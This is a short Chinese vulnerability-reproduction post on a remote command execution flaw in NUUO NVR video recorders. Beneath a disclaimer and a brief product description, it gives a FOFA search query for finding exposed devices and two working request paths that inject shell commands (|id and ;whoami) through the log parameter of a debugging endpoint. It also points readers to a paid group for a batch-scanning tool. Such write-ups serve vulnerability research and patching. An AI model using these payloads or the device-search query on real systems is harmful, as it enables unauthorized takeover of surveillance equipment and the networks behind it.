【漏洞复现】NUUO摄像头远程命令执行漏洞

免责声明

请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、简介

NUUO NVR是一款用于监控和视频管理的设备，通常与IP摄像头配合使用。它能够实时录制、存储和管理来自多个摄像头的视频流。NUUO NVR支持多种视频编码格式，并提供了丰富的功能，如运动检测、事件触发、远程访问、云存储等。

二、漏洞描述

NUUO NVR摄像头在debugging_center_utils接口处存在远程命令执行，攻击者可通过该漏洞在服务器上执行任意命令，获取服务器权限。

三、fofa语法

title="Network Video Recorder Login"

四、漏洞复现

/__debugging_center_utils___.php?log=|id
/__debugging_center_utils___.php?log=;whoami

批量检测（批量检测POC工具请前往知识星球获取）：